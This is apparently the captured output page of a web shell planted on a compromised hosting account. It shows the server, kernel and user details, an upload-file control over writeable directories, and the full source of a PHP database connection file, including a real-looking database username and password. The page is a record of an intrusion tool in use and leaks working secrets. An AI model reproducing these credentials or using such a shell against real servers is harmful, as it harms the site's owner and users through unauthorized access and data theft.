Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/www/api-flutter-crud/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/www/api-flutter-crud/dbconnection.php
<?php
// dbconnection.php

function dbconnection(): mysqli {
    $host = "localhost";                     // tetap localhost
    $user = "elvh3918_root";                 // ganti dengan user cpanel kamu
    $pass = "2SKWtP^pUoaY";                  // password user database
    $db   = "elvh3918_dbfluttercrud";        // nama database

    $con = mysqli_connect($host, $user, $pass, $db);

    // cek koneksi
    if (!$con) {
        // lempar error jelas dalam format JSON
        header('Content-Type: application/json');
        http_response_code(500);
        echo json_encode(["error" => "Koneksi database gagal: " . mysqli_connect_error()]);
        exit;  // hentikan eksekusi
    }

    // set charset agar aman UTF-8
    mysqli_set_charset($con, "utf8mb4");

    return $con;
}

Yohohohohohooho | Sanrei Aya